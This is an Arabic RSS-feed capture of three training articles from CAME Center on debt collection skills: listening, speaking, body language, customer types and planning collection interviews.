ماذا يقول العميل ؟ ماذا يعني بالنسبة لك ؟
–  السؤال عن مواصفات وطبيعة خدمة معينة .

–  البحث عن إمكانية الإستفادة من خدمة معينة، وأين يمكن أن يتم ذلك.

–  أسئلة محددة عن أنواع معينة عن شركتك ومنجاتها … مثل مواقع الفروع ، وساعات التعامل … إلخ.

 –  نقص المعلومات المتاحة للعميل عن منتجاتك وخدماتك.

–  هل لديكم مركز صيانة متخصص؟

–  هل يمكن أن أحصل علي هذه المنتجات والخدمات .

 * التعبيرات غير المباشرة:

من خلال ما يبديه عميلنا من تعبيرات وإشارات … فإن المحصل المتميز ياتقط الكثير مما يدعم به سياسات الشركة تجاه العملاء … ومن أمثلة ذلك :

ملاحظة سن العميل وتأثيره علي نوعية الحسابات المطلوبة (في بنك) مثلاً عميلك كبير السن الذي يأتي بصعوبة شديدة إلي البنك للصرف من حساب التوفير الذي يودع به راتب التقاعد (المعاش) … هل لك أن تفكر كيف تخدمه بعمل حساب جاري يمكّن الغير (باستخدام الشيكات من الصرف منه … أو النظر في العلاقة بين عنوانه وفروع البنك المنتشرة في كل مكان …).

 

(ب) أجر الموائمة بين حاجات العملاء ومنتجات شركتك:

طالما أنك استطعت بمهارتك وخبراتك أن تحدد حاجات العميل فأنت قطعت ثلاثة أرباع الطريق وعليك أن تمر بالخطوات الآتية لإجراء المواءمة المطلوبة بين الحاجات والمنتجات:

  • حدد بشكل واضح ، ولخص … ماذا يحتاج عميلك العزيز ؟
  • حدد أسماء المنتجات التي يمكن أن تشبع عميلك والمواصفات التي يمكن أن تفيد عميلك بشكل مباشر، إبدأ في شرحها له بلغته التي يفهمها …
  • عزز مدى فهم العميل للعلاقة بين المنتجات المقدمة وتحقيق منافعه…

مهارة تحصيل حقوق الشركة …المهمة الصعبة

من المؤكد أنك تتعرض لهذا الوقت الصعب ..وهو التحصيل من عميل متأخر عن سداد التزاماته ..ويرى البعض ان اخذ هذا العميل بالرأفة شئ غير مستحب ..ولكنك سوف تفقده إلى الأبد ، ومطلوب منك .

  • أكد دائما ووضح بشكل كامل شروط منح الائتمان عند إتمام العملية البيعية ، وأسأل عميلك بصراحة عما إذا كان ذلك يناسبه أم لا .. حتى تقل معه مشاكلك المستقبلية .
  • ولكن العميل يتجاهل شروط الائتمان ..ولا يحتاج منك هنا ان تقدم له محاضرة عن شروط منح الائتمان للعملاء ..بل عاونه فى الخروج من هذه المحنة وذلك من خلال :
  • ارتبط بالحقائق المتاحة عن موقف العميل ومديونياته الأخرى.
  • حلل أسباب توقفه من الدفع لتخرج بوسيلة تمكنه من السداد.
  • عند حديثك مع شخص مسئول عن عدم السداد أجعل ألفاظك مريحة وتحمل قدرا ًمن الود والصداقة .. وفى نفس الوقت تؤكد على مطالبك بالسداد ..فلا تتهم العميل باللصوصية .. او تستخدم ألفاظاً بها قدر كبير من قلة الذوق .

 

الرد المحتمل من العميل ماذا تقول له
1.   الشيك مرسل بالبريد §       اسأل عن التاريخ المتوقع وصوله
2. الشيك ينتظر التوقيع الثانى (توقيع أحد المديرين ) §  أسأل عن موعد وصول الشخص صاحب التوقيع حتى تحضر ثانية
3.   ليست لدى أى أموال بالخزينة §  حدد معه وقت تكون لدية أموال سائلة .
4. سوف اتصل بك تلفونياً لأحدد لك متى تأتى §  ان التليفون الخاص بالمؤسسة من الصعب ان تتحدث معى من خلاله من الأفضل ان احصل على موعد الآن

 

*   *   *

انتهت بحمد الله مقالات مسار كيم التعليمى لتنمية مهارات مندوبي التحصيل

بقلم  الدكتور / محمود الضابط  – كلية التجارة جامعة عين شمس

– تابعنا على صفحة موسوعة كيم لتنمية المهارات وبناء القدرات

أو تواصل معنا  ( مركز الخبرات الإدارية والمحاسبية / كيم ) على رقم جوال أو واتس أب : 00201005289720

====================

هذه المادة محمية بحقوق الملكية لمركز كيم للتدريب والإستشارات ولايحوز الاقتباس منها الا بعد اذن كتابي من المالك CAME CENTER

اعداد / حمدي حسن – نائب مدير التدريب بمركز كيم

The post سلسلة مقالات – تنمية مهارات مندوبي التحصيل-بقلم د/محمود الضابط – المقالة الخامسة appeared first on CAME Knowledge موسوعة مركز كيم لتنمية المهارات والقدرات.

]]> https://cameknowledge.camecenter.com/articles/developing_the_skills_of_collection_representatives-5/feed/ 0 سلسلة مقالات – تنمية مهارات مندوبي التحصيل-بقلم د/محمود الضابط – المقالة الرابعة https://cameknowledge.camecenter.com/articles/developing_the_skills_of_collection_representatives-4/ https://cameknowledge.camecenter.com/articles/developing_the_skills_of_collection_representatives-4/#respond Sun, 02 Apr 2023 15:54:55 +0000 https://cameknowledge.camecenter.com/?post_type=manual_kb&p=10335 سلسلة مقالات – تنمية مهارات مندوبي التحصيل بقلم د/ محمود الضابط المقالة الرابعة أنواع العملاء المتعثرين وفن التعامل مع العملاء   أهداف المقالة : إدراك أن التعامل الفعال مع العملاء …أعلى مهارات فن البيع والتحصيل التدريب على تغيير اتجاهات العميل فى اتجاه إتمام عملية البيع والتحصيل التعرف على الأنماط المختلفة للعملاء …وبلورة خصائص ومواصفات كل […]

The post سلسلة مقالات – تنمية مهارات مندوبي التحصيل-بقلم د/محمود الضابط – المقالة الرابعة appeared first on CAME Knowledge موسوعة مركز كيم لتنمية المهارات والقدرات.

]]> سلسلة مقالات – تنمية مهارات مندوبي التحصيل

بقلم د/ محمود الضابط

المقالة الرابعة

أنواع العملاء المتعثرين وفن التعامل مع العملاء

 

  • أهداف المقالة :
  • إدراك أن التعامل الفعال مع العملاء …أعلى مهارات فن البيع والتحصيل
  • التدريب على تغيير اتجاهات العميل فى اتجاه إتمام عملية البيع والتحصيل
  • التعرف على الأنماط المختلفة للعملاء …وبلورة خصائص ومواصفات كل نمط …والتدريب على مهارات التعامل الفعال مع كل نمط .

 

إن التعامل مع الأنماط المختلفة من العملاء يمثل أعلي مهارات الفنون التحصيلية. إذا كان العميل المرتقب لديه الحاجة والرغبة التي يمكن إشباعها، ولديه القدرة علي التعامل الآن، ولديه أيضاً السلطة والصلاحية علي إتخاذ قرار التعامل، كما يمكن للوصول إليه، … إلا أن هذا العميل قد يختلف عن عميل آخر إختلافاً شاسعاً. حتى أن نفس هذا العميل قد لا يمارس نفس السلوك كل يوم بنفس الطريقة وبذات التصرفات والأفعال. ولك أن تتخيل يا عزيزي رجل التحصيل أنك سوف تقابل الأنماط التالية من العملاء خلال أسبوع معين من شهر معين:

  • عميل يتصف بقلة الفهم ومغلق الذهن ولا يستجيب لأي آراء أو إقتراحات بسهولة ويسر.
  • عميل مماطل يطلب منك مهلة دائماً وأبداً.
  • عميل يهاجمك بدون مبرر.
  • عميلة عجوز شمطاء.
  • عميلة جميلة ذات عينان صافيتان.
  • عميل متصلب الرأي حاد الطباع.
  • عميل مرح غير مهتم (لا شيء عنده يهم).
  • عميل ثرثار.
  • عميل كاذب.
  • عميل متسرع.
  • عميل متصيد لأخطاء مختلفة.
  • عميل مهزوز.
  • عميل متوتر.
  • عميل فقيه وعالم ببواطن الأمور.
كان الله في عونك يا عزيزي رجل التحصيل .. كيف تتعامل مع هذه الأنماط وأنت نمط وحيد ذات شخصية مستقلة.

 
  • عميل عنيف.

 

مما يزيد في درجة صعوبة وتعقد نشاط التحصيل وجود عنصر المنافسة داخل الأسواق، الأمر الذي يؤدي إلي وجود العديد من الخدمات المتشابهة التي تتنافس جميعها علي رضاء العميل، بمعني آخر فإن النظام التنافسي يتسم بما يسمي بسوق المشترين حيث يصبح العميل وليس المحصل هو صاحب القرار. وعلي ذلك فإن معرفة القائمين علي نشاط التحصيل بإتجاهات العملاء تجاه منتجات الشركة قد لا تعتبر كافية إذ أن الأمر يتطلب ضرورة الوقوف علي إتجاهات هذا العميل تجاه منتجات المنافسين وذلك بهدف تحويله عنها.

وتمثل عملية تغيير الإتجاهات، أن يقوم العميل بالإقتناع بأهمية التحول من التعامل في سلعة إلي سلعة أخرى منافسة. وبالرغم من أن هذا العميل هو صاحب قرار التغيير إلا أن عملية التغيير ذاتها لا تأتي من فراغ وإنما يجب أن يصاحبها طرف ثان يتولى مهمة إقناع العميل بأهمية التغيير، وحتى يمكن للمنظمة أن تكون أكثر فاعلية في تغيير إتجاهات العملاء وذلك بالتحول من منتجــات المنافسين إلي منتجاتها، فإن رجل التحصيل يجب عليه أن يكون واعياً بطبيعة وأبعاد عملية تغيير الإتجاهات أولاً.

 

يتضح مما سبق أن قدرة رجل التحصيل علي تغيير إتجاهات العملاء السلبية إلي إيجابية تتطلب ضرورة فهم ميكانيكية التغيير أولاً. إلا أن محاولة خلق علاقة إيجابية تعتمد علي الجهود التسويقية التالية :

  • الإعلان.
  • تنشيط المبيعات.
  • البيع الشخصي الفعال.

إن رجل التحصيل إذا ما أراد أن يغير إتجاهات أحد العملاء، عليه أولاً الإلمام بما يلي:

  • كافة تفاصيل الخدمات المقدمة والخدمات المنافسة.
  • القبول الإجتماعي لدي العميل.
  • أسلوب رائع للتعامل مع الأنماط المختلفة من العملاء.
  • الإلمام بالخطوات العملية للعملية التحصيلية.
  • إختيار الوقت المناسب لإقناع العميل بالخدمة المقدمة.

 

إدارة المقابلات التحصيلية

  • الأهداف :
  • تحديد أهداف المقابلة التحصيلية .
  • التعرف على أسباب تأخر العملاء عن تسديد المتأخرات
  • تحديد عناصر الإعداد للمقابلة التحصيلية 
  • التخطيط للمقابلة التحصيلية .
  • ممارسة الأسلوب الفعال فى إدارة المقابلة التحصيلية .

 

إدارة وأهداف المقابلة التحصيلية :

يلعب المحصل دوراً هاما خلال المقابلة التحصيلية. فهو الشخص الذى يمثل الشركة أمام العميل ويقوم بالتفاوض نيابة عن الشركة :

  1. المحافظة على علاقة طيبة مع العميل .
  2. تحصيل حقوق الشركة .
  3. تأمين الخدمة الممتازة .
  4. الاحتفاظ بالعملاء .
  5. إعادة تأهيل العملاء .
  6. التحكم بمخاطر الائتمان .
  7. تقليل خسائر الائتمان .

 

أسباب التأخر فى تسديد متأخرات الشركة

فى الوقت الذى يلتزم فيه كثير من العملاء بسداد  الالتزامات المستحقة عليهم للشركة فى مواعيدها ، يماطل عملاء آخرون فى سداد تلك الالتزامات لسبب أو أكثر من الأسباب التالية :

  • وفاة أو مرض العميل أو أحد أفراد الأسرة .
  • تذبذب دخل العميل .
  • وجود خلافات أو مشكلات مالية بين العميل وشركاه .
  • تعدد الأقساط المستحقة على العميل .
  • عدم سلامة النية والمقصد.
  • عدم إستلام كشف الحساب فى حينه .
  • اعتراض العميل على مبلغ معين .
  • السفر إلى الخارج .
  • سوء معاملة المحصل للعميل .
  • ترك العميل للعمل التجارى .
  • الحصول على معومات خاطئة من قبل البائع .
  • الاعتراض على رسوم التأخير .

 

 

 

 

 

الإعداد الجيد للمقابلة التحصيلية :

  • إن الإعداد الجيد للمقابلة التحصيلية هو أحد عناصر نجاح عملية التحصيل بصفة عامة والمقابلة بصفة خاصة ،ويتم الإعداد للمقابلة التحصيلية عن طريق :
  • التزويد بالمعلومات اللازمة عن :
    1. العميل .
    2. المبالغ المستحقة .
    3. أنظمة وإجراءات التحصيل بالشركة .
  • وضع خطة لإجراء المقابلة وتحقيق الهدف منها .

التزود بالمعلومات اللازمة :

إن التزود بالمعلومات اللازمة عن العميل والأقساط المتأخرة ومعرفة أنظمة التحصيل فى الشركة هى فى واقع الأمر عملية جمع الحقائق التى من الضرورى توافرها لدى موظف التحصيل قبل البدء فى المقابلة ومن ثم توظيف هذه الحقائق واستخدامها أثناء المقابلة لتحقيق الأهداف المطلوبة من المقابلة التحصيلية وتتمثل هذه المعلومات فى :

  1. معلومات عن العميل :

من خلال ملف العميل الموجود بالشركة يمكن التعرف على الكثير من المعلومات المفيدة والتى تساعد على اختيار الأسلوب الأمثل عند إجراء المقابلة مثل :

 

  • الاسم .
  • جهة العمل .
  • المركز الوظيفى .
  • العائد الشهرى (الوضع المالى ).
  • العناوين وأرقام الهاتف .
  • أوقات الدوام .
  • الحالة الاجتماعية .
  1. من سجل تسديد الأقساط الخاص بالعميل يمكن التعرف على حقائق واقعية لمناقشة العميل وتذكيره بها أثناء المقابلة التحصيلية مثل :
  • تاريخ أخر قسط .
  • عدد الأقساط المتأخرة وإجمالى قيمتها .
  • مدى انتظام والتزام العميل بالسداد .
  1. أنظمة الائتمان والتحصيل فى الشركة :

معرفة موظف التحصيل بأنظمة الائتمان والتحصيل فى الشركة من ضروريات العمل فى مجال التحصيل وتساعد على معرفة الوضع القانونى لكل من الشركة التى يمثلها من جهة والعميل من جهة أخرى. ويمكن توظيف هذه المعلومة فى تحقيق أهداف المقابلة التحصيلية .

وضع خطة لإجراء المقابلة :

يقول المثل (من سار على الدرب وصل ) فبعد مرحلة التزود بالمعلومات اللازمة ودراستها تأتى المرحلة الثانية وهى توظيف هذه المعلومات لإعداد خطة عمل لإجراء المقابلة التحصيلية وتتضمن هذه الخطة :

  • اختيار نوعية المقابلة (هاتفية أو شخصية ).
  • اختيار الوقت المناسب .
  • ترتيب المعلومات وكيفية استخدامها .
  • وضع التصور عن كيفية إجراء المقابلة .

المقابلة التحصيلية :

عند القيام بإجراء المقابلة التحصيلية يجب ألا يغيب عن الأذهان أهداف المقابلة والتى تتلخص فى :

  • المحافظة على علاقة طيبة مع العميل .
  • تحصيل حقوق الشركة .

ومن الوهلة الأولى تبدو أنها معادلة صعبة ، إلا أنها فى الحقيقة ليست كذلك ، إذا ما تعرفنا على الأسلوب الذى يجب إتباعه مع العميل أثناء المقابلة نتمكن من تحقيق هذه المعادلة الصعبة ، هذا الأسلوب نطلق علية مهارة إدارة المقابلة التحصيلية .

وتنقسم هذه المهارة إلى قسمين من المهارات يسيران فى نفس الوقت جنبا إلى جنب أثناء المقابلة التحصيلية ، وكل جزء منهما معنى بتحقيق أهداف المقابلة التى يجب ألا يغيب عن الأذهان لحظة واحده أثناء المقابلة .

 

أولا مهارة المحافظة على علاقة طيبة مع العميل :

من خلال الوحدات التدريبية السابقة تعرفنا على أهمية المحافظة على علاقة طيبة مع العميل وعدم الإساءة إليهم لما يمثلونه  من أهمية بالغة للشركة . وفى حقيقة الأمر إن هدف ” المحافظة على العميل ” يجب أن يكون هدفا لجميع العاملين فى الشركة .

فإذا ما أنصرف عميل سبق وتعامل مع الشركة وقرر عدم التعامل معه فإن ذلك يعتبر خسارة بالغة للشركة ، كما أشارت إلية الدراسات ، لذلك علينا أن نضع فى الاعتبار هدف المحافظة على علاقة طيبة مع العميل نصب أعيننا فى كل الحالات .

تتلخص مهارة المحافظة علاقة طيبة مع العميل فى :

  1. عزز او حافظ على الاحترام .
  2. أنصت وتجاوب مع المشاعر.
  3. استعن بالطرف الآخر .

وتطبق هذه المهارة أثناء المقابلة التحصيلية للمحافظة على علاقة طيبة مع العميل من خلال التعرف على عناصر هذه المهارة وكيفية تطبيقها . وفيما يلى شرح لطريقة استخدام مهارة المحافظة على علاقة طيبة مع العميل .

  1. عزز أو حافظ على الاحترام .

تعنى معاملة العميل باحترام وتوظيف المعلومات التى عرفناها عنه فى مرحلة الإعداد بشكل مناسب وذلك عن طريق :

  • مخاطبته باسمه او لقبه (دكتور ، أستاذ ، مهندس، …… )
  • التركيز على المشكلة لا على الشخص .
  • تجنب تصيد الأخطاء .

 

 

  • تقديم المديح والثناء الصادق كلما أمكن ذلك .
  • الاستعداد لتقديم المساعدة

تعنى منح العميل فرصة للشرح ومقابلته بالاستماع الفعال والتفهم الجيد لما يقوله من خلال :

  1. أنصت وتجاوب
  • إصدار مؤشرات بأنك تستمع لما يقوله (لغة الجسد ، تعابير الوجه، الإيماءات ) .
  • إشعار بأنك تتفهم مشاعره (ردد بعض كلمات المشاعر التى ذكرها العميل ).
  • إعادة صياغة كلام العميل (لخص وحدد المشاعر والمعانى ).
  1. استعن بالطرف الآخر

تعنى عم إجبار أو فرض حل على العميل ، بل اترك العميل هو الذى يأخذ أو يبنى الحل وذلك من خلال :

  • أطلب الحل من العميل أولا .
  • ابن على الاقتراح الذى ذكره العميل .
  • تجنب أسلوب الأمر وإعطاء التعليمات .
  • أظهر الاحترام لتعاون العميل معك .

 

 

وتذكر دائما قول الله تعالى :

” ادفع بالتى هى أحسن ..” الآية .

 

 

ثانياً مهارة تحصيل حقوق الشركة :

تحصيل حقوق الشركة هو أحد المهام الرئيسية لعمل المحصل ، ولكى يتمكن المحصل من تحقيق هذا الهدف لابد من اتخاذ بعض الإجراءات النظامية والقانونية فى هذا الخصوص.

إلا أن أفضل طريقة لتحصيل حقوق الشركة هو أن يقوم العميل بتسديد ما علية عن طيب خاطر . وهنا يأتى دور المحصل المحترف الذى يقوم بوضع خطة لإدارة حوار عملى وفعال مع العميل أثناء مقابلة التحصيل ، تمكنه من إقناع وتشجيع ومتابعة العميل إلى أن يقوم بتسديد ما علية من حقوق للشركة .

إن مهارة تحصيل حقوق الشركة تركز على فن إدارة الحوار أثناء مقابلة التحصيل مع العميل وهى تتكون من الخطوات التالية :

  1. حدد ما الذى تود مناقشته مع العميل ، ولماذا ؟
  2. اجمع وراجع التفاصيل .
  3. ادرس البدائل .
  4. اتفق مع العميل على خطوات التنفيذ .
  5. اتفق مع العميل على خطوات المتابعة .

خطوات إدارة الحوار المذكورة أعلاه هى الخريطة أو المسار الذى يسلكه المحصل المحترف أثناء مقابلة العميل ، تمكنه من إدارة حوار متكامل فعال لمناقشة موضوع التسديد . وكل خطوة منها تهدف إلى بناء جزء من ها الحوار ، وتساهم وفيما يلى تفصيل لكيفية استخدام مهارة تحصيل حقوق الشركة .

 

  1. حدد ما الذى تريد مناقشته مع العميل ولماذا ؟

تحديد موضوع النقاش وإبراز أهميته من بداية المقابلة مع العميل أمر مهم جداً ، فهو يحدد الإطار العام الذى يمكن أن تدور حوله المناقشة مما يرفع درجة تركيز المحصل والعميل لمناقشة المواضيع ذات العلاقة ، لكى يكون حواراً عملياً وفعالاً للطرفين.

  1. اجمع وراجع التفاصيل :

إن جمع المعلومات ذات العلاقة ومراجعة تفاصيلها بين المحصل والعميل تمكنها من الوقوف على الحقائق ومناقشتها ، كما تدعم تفهم كل منهما لموقف الآخر بصفة خاصة والحالة موضوع النقاش بصفة عامة ، الأمر الذى يزيد من رغبة العميل فى التعاون مع موظف التحصيل لإيجاد حل لهذا الموقف.

  1. ادرس البدائل : بعد جمع الحقائق ومراجعتها مع العميل ، يكون الحوار أصبح مهيأ لمناقشة وتدارس الحلول الممكنة أطلب من العميل أن يخبرك عن تصوره للحلول التى يستطيع تنفيذها والالتزام بها . ادرس هذه الحلول الصادرة من العميل وابن على الأفكار والحلول العملية منها . ادعى أن يلتزم العميل بتنفيذها .
  2. اتفق مع العميل على خطوات التنفيذ :

الاتفاق على خطوات تنفيذ الحل علية هو الهدف الذى يسعى إليه المحصل المحترف فى المقابلة التحصيلية . فمن المهم جداً فى هذه المرحلة ان يتم تحديد من سيقوم بماذا ؟ ومتى ؟ وهذا يعنى وضع الحل فى إطار تنفيذى محدد المعالم للمحصل أو العميل .

 

  1. اتفق مع العميل على خطوات المتابعة :

الاتفاق على الحل وطريقة تنفيذه خطوتان مهمتان جداً يقوم بها المحصل أثناء الحوار مع العميل ، وبنفس القدر من الأهمية تأتى مرحل الاتفاق على خطوات متابعة التنفيذ .

فى هذه المرحلة يتم التأكيد على تنفيذ ما تم الاتفاق علية فى المراحل السابقة من الحوار ، وقد تأخذ خطوات المتابعة أشكالاً متعددة كالاتفاق مع العميل على أن يتم الاتصال به هاتفياً لتذكيره بموعد التسديد أو القيام بزيارته مرة أخرى لمتابعة الحوار أو لاستلام المبلغ الذى سيقوم العميل بتسديدة حسب الاتفاق المبرم

*   *   *

انتهت بحمد الله المقالة الرابعة لمسار كيم التعليمى لتنمية مهارات مندوبي التحصيل

بقلم  الدكتور / محمود الضابط  – كلية التجارة جامعة عين شمس

– تابعنا على صفحة موسوعة كيم لتنمية المهارات وبناء القدرات

أو تواصل معنا  ( مركز الخبرات الإدارية والمحاسبية / كيم ) على رقم جوال أو واتس أب : 00201005289720

====================

هذه المادة محمية بحقوق الملكية لمركز كيم للتدريب والإستشارات ولايحوز الاقتباس منها الا بعد اذن كتابي من المالك CAME CENTER

اعداد / حمدي حسن – نائب مدير التدريب بمركز كيم

The post سلسلة مقالات – تنمية مهارات مندوبي التحصيل-بقلم د/محمود الضابط – المقالة الرابعة appeared first on CAME Knowledge موسوعة مركز كيم لتنمية المهارات والقدرات.

]]> https://cameknowledge.camecenter.com/articles/developing_the_skills_of_collection_representatives-4/feed/ 0 سلسلة مقالات – تنمية مهارات مندوبي التحصيل-بقلم د/محمود الضابط – المقالة الثالثة https://cameknowledge.camecenter.com/articles/developing_the_skills_of_collection_representatives-3/ https://cameknowledge.camecenter.com/articles/developing_the_skills_of_collection_representatives-3/#respond Sun, 02 Apr 2023 15:45:09 +0000 https://cameknowledge.camecenter.com/?post_type=manual_kb&p=10333 سلسلة مقالات – تنمية مهارات مندوبي التحصيل بقلم د/ محمود الضابط المقالة الثالثة أولاً: مهارات الإنصات LISTENING إن الإنصات الجيد ليس مجرد أن تعطي آذانك للآخرين .. بل أيضاً عليك أن تعطيهم عينك .. وفكرك بل وحركات جسمك .. وبالتالي فإن الإنصات يتضمن رغبة صادقة منك في ترتيب وتحليل المعلومات التي تقدم إليك .. للتعرف […]

The post سلسلة مقالات – تنمية مهارات مندوبي التحصيل-بقلم د/محمود الضابط – المقالة الثالثة appeared first on CAME Knowledge موسوعة مركز كيم لتنمية المهارات والقدرات.

]]> سلسلة مقالات – تنمية مهارات مندوبي التحصيل

بقلم د/ محمود الضابط

المقالة الثالثة

أولاً: مهارات الإنصات LISTENING

إن الإنصات الجيد ليس مجرد أن تعطي آذانك للآخرين .. بل أيضاً عليك أن تعطيهم عينك .. وفكرك بل وحركات جسمك .. وبالتالي فإن الإنصات يتضمن رغبة صادقة منك في ترتيب وتحليل المعلومات التي تقدم إليك .. للتعرف علي تفسير منطقي لما يقوله الآخرين …

وبالتالي فإن استجابتك تكون استجابة إيجابية .. وبالتالي فإن المنصت يبذل جهداً أكبر من المتحدث . ويعني الإنصات الجيد التوصل إلي جانبين هامين:

  • ما هي النقاط الرئيسية المطلوبة من المتحدث ؟
  • ما هو المعني الحقيقي المقصود من الحديث ؟

أدوات الإنصات الجيد:

  • ضع ألفاظاً تجعلك دائماً فاتحاً للحديث DOOR – OPENER :

ويمكن أيضاً جذب الحديث مع العميل بالتركيز علي شخص أو وصف بعض صفاته الظاهرة في الشكل أو اللبس …. ومن الأمور المستحبة لجذب الناس للحديث أن تشجعهم علي المتابعة .. من خلال كلمات وتعبيرات توحي بذلك..

ولا تنس أن الصمت وتوفير المناخ المناسب للحديث أمر ضروري، خاصة إذا كنت لست من هواة المقاطعة وفرض الآراء علي الآخرين…

  • اسأل الأسئلة التي تدعو إلي مزيد من الحديث:

والأسئلة قد تكون عقبة وقد تكون شيئاً مشجعاً لمزيد من الحديث…

مثال:

  • لم لا تجذب نظم السداد المتنوعة ؟
  • ألا تعتبر أن الشروط والقروض التي جاءت اليوم مميزة ؟
  • استخدم كلمات مختصرة تعطي اهتماما بالمحتوي وتركز عليه وتعيد هذا المضمون علي المتحدث :

مثال:

  • أعتقد أنك تقصد …
  • إن ما تعنيه سيادتك …
  • هل حضرتك تقصد ….
  • اعكس مشاعرك ورغبات متحدثك علي تعبيراتك وعلى عباراتك.

 

زيادة القدرة علي الإنصات أمر ضروري كيف ذلك ؟ :

1- تحول إلي مستمع نشط لمتابعة عميلك وكسبه:

حتى تكسب عميلك وتتعرف علي أفكاره بطريقة شاملة، اعلم أنك وحدك لك قوة أن تنصت أو لا تنصت، ويؤثر ذلك علي جودة إتصالك بعملائك .. لذا فأنت في حاجة إلي أن تكون مستمع نشط الذاكرة نشط الحركة. نشط الإنطباع وحتى تكون مستمعاً نشطاً عليك بما يلي:

  • أعد نفسك لعملية الإنصات. وذلك بتخيل الموقف التحصيلي مقدماً.
  • إرتبط بالتسلسل المنطقي للمتحدث. ورتب معلوماتك الغير مرتبة في ذهنه لتكون مرتبة في ذهنك أنت.
  • حاول أن تستمع إلي الأفكار كاملة في شكل جمل متكاملة وأفكار متراصنة. ولا تقف عند مجرد إلتقاط الكلمات ولكن، قد يفيدك سقطات الكلمات في تفهم العديد من المعاني.
  • أمسك ورقة وقلماً فى تعاملك ، فقد تحتاج لكتابة المعلومات التى لايسهل تذكرها .
  • إجعل محدثك يحس أنك تستمع إلية تعبيراً وإشارة ومشاركة لأفكاره .

2) قم بزيادة معدل الاحتفاظ بالمعلومات حتى تكسب عميلك طويلاً :

إن رغبتك فى إعادة المعانى والألفاظ من جانب المتحدث وهو عميلك العزيز . وقد لاتجد قبولاً لدية . وقد لايكون من اللائق أن تفعل ذلك . وقد يكون سوء فهمة لإحدى القضايا المطروحة طريقا ًلضياع الصفقة.

 

ثانياً : مهارات التحدث

أنت بلا شك مطالب ان تعطى صورة إيجابية مستمرة  للعملاء عن خدماتك ولن يتأتى ذلك إلا إذا زاد لديك قدر الألفاظ والتعبيرات التى تترك آثاراً إيجابية لدى العملاء .. وبالتالى ابحث دائماً .

  • كيف تقول ؟ how وليس ماذا تقول what ؟

إن كثيراً من الناس يفاجئون بما قالوا بعد نطق كلماتهم بالفعل ولكن هيهات أن يستطيع أى إنسان أن يسترجع عباراته التى نطقها بالفعل . فقد فات الأوان . والعبارات والكلمات التى تخرج من فمك . وقد تكسبك عميلاً . وقد تذهب بعشرات العملاء دون أن تدرى . وبالتالى فإن عليك ان تقاوم نفسك لمجرد ان تتحكم فيما يمكن قوله فى موقف ما . ولا تنس قول وليم شكسبير “وأصلح كلامك قليلاً وإلا أفسد حظك”.

وإعادة تغيير موضع جملك وكلماتك وترتيبها يعد أحد الأساليب الحديثة التى توفر لك قدراً من الكياسة فى مواجهة المواقف والغرض من ذلك هو الحصول على جملة مثلى لموقف محدد.

سواء موقف إعتراضى من عميل .. او موقف عرض منك . وبما يحقق أهدافك بشكل واضح .وسريع ..         

وبالتالى تعتمد مهارات التحدث على مهارة إعادة ترتيب الكلمات rephrasing والتى تعنى إمكانية صياغة كلماتك بطريقة أخرى تماماً تضمن قبول الناس لفكرتك .

 

ثالثاً : تعبيرات الجسم

إن 93% من مجريات أمور حياتنا تجرى من خلال إستخدام التعبيرات والإشارات المعبرة سواء بالإيدى أو بالوجة أو بالرأس او بالجسم ، او بالقدم … وتستخدم التعبيرات والإشارات فى شرح وإعادة وتأكيد ، وتنظيم الإتصالات الشفوية والكتابية .

وتتعامل التعبيرات بالإشارات بشكل مباشر مع عواطف وإتجاهات مشتركة مع العملاء المرتقبين . وإستخدامها يختلف وفقاً لثقافة وتكوين وبيئة من تتحدث إلية إذ أن الكثير من الإشارات قد تحمل شئياً ذات معنى فى العديد من الشعوب . إذا لم تتعرف عليها جيداً فقدت عميلك دون أن تدرى .

وتتمثل أدوات  التعبير فى :

  • الوقت
  • الوجه
  • الصوت
  • الحركة
  • اللمس
  • المظهر
  • الصمت

وعندما تقوم …أو تتفاوض أو تتنافس .. لا جدال بأن صوتك حقا ًينقل العديد من الكلمات verbal .. ولكن لاتنس أن هناك قدر كبير من المعلومات تنتقل إلى من تحدثه من خلال مظهرك …وطريقتك .. وسلوكك الحركى  non verbal

وبالتالى فلا تنس أن جسمك يتحدث أيضاً للآخرين . فمن خلال تعبيراتك أنت تؤكد وتوضح كلماتك ..وتؤكد على قدر إخلاصك وصدقك .. وحماسك تجاه متحدثيك .

فأنت فى اتصالك :

  • تعطى معلومة inform
  • تقنع persuade
  • تمتع وتحقق منافع entertain
  • تحفز motivate

الأفعال دائما أقوى من الكلمات :     Actions speaks louder than words

إذا كان هدفك أن تقنعنى بقضيتك وتستحوذ على إهتمامى تجاه ما تقول فإن عليك أن توائم بين كلماتك . وتعبيراتك فليس من المعقول أن تحدثنى عن مزايا خدماتك دون أن يصحب ذلك حماساً ملحوظاً منك ..فيمكن أن تتحدث وانت تداعب أوراقك ، أو تمضغ لباناً ..أو تعطى إنطباعاً لدى من يسمعك بعدم الجدية او بعدم الصدق فيما تقول وهى رسالة ذو حدين ..فكل ما يسمعونه لايرونه …أو العكس تماماً .

وبالتالى فإن الناس لا يحكمون فقط على حديثك بقد ما يحكمون عليك شخصياً :

  • هل انت حقاً صادق ومخلص فيما تقول وما تقدم ؟
  • هل انت تؤمن تماماً بما تقدمة من منافع وضرورتها فى حل مشاكل العملاء ؟
  • هل انت تهتم بقضية عملائك بجدية ؟
  • هل انت تثق بنفسك وبشركتك ؟

 

تعبيرات شائعة المعنى
رفع الرأس وخفضه فى حركة واحدة الموافقة
تقطيب الجبهة الإعتراض
إتساع حدقة العين الصداقة
تقطيب الجبين وإتساع حركة العين الغضب
التحريك لعضلات الوجه العصبية
الضغط على الأسنان التوتر
مصمصة الشفاة للأمام عدم الرضا
فتح الفم بدرجة كبيرة عدم التصديق
فتح الفم نصف فتحة الخوف
مسك الذقن عدم الراحة

والتعبير الصحيح يضع فوق الحروف للكثير مما تقدم للعميل حيث نقاط التأكيد ونقاط عدم الاهتمام .. ونقاط التأثير فى الدوافع .. فأنت تصنع بنبرة صوتك وتعبيراتك فواصل ، ونقط وعلامات تعجب .. تؤثر فى عميلك مستخدماً يديك ومستخدماً تعبيرات الجسم .

ويعتقد الكثيرين أن التعبير هو الصياغة الطبيعية لدرجة حماسك فى مواجهة العملاء إذ أن تعبيرات الجسم وحركاته هى التى توضح درجة إهتمامك بالمتعاملين ..وكلما ظهرت علامات الخوف والتردد على وجهك فأنت فى الطريق إلى فقدان عميلك ..

  • هناك خمسة طرق لتجعل تعبيراتك شيئاً مؤثراً .

أنت بلا شك مدرك لأهمية التعبير كأداة للتعامل مع العملاء ..وحتى تضمن نتيجة وشكل تعبيراتك .. وتقوى تأثيرها  على من حولك فأنت مطالب بما يلى :

